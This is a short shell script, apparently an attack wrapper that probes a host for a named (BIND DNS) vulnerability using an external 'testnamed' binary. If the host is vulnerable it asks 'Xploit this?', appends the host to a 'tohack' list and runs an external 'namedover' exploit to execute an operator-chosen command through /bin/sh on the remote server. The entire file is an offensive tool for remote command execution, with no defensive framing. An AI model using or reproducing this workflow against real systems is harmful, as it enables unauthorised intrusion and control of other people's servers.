#!/bin/sh
if [ "$1" = "" ]; then echo "Type $0 host" 
exit 0
else
bum=`./testnamed $1 | grep not `
if [ "$bum" != "" ]; then
echo "$1 not vulnerable or connection refused:("
exit 0
else
echo "$1 is vulnerable"
echo "Xploit this?"
read option
if [ "$option" != "y" ]; then 
exit 0
else
echo "$1" >> tohack
echo "Ok , lets exploit , enter the cmd to execute on the server"
read cmd
./namedover $1 /bin/sh -c "$cmd"
fi

fi
fi
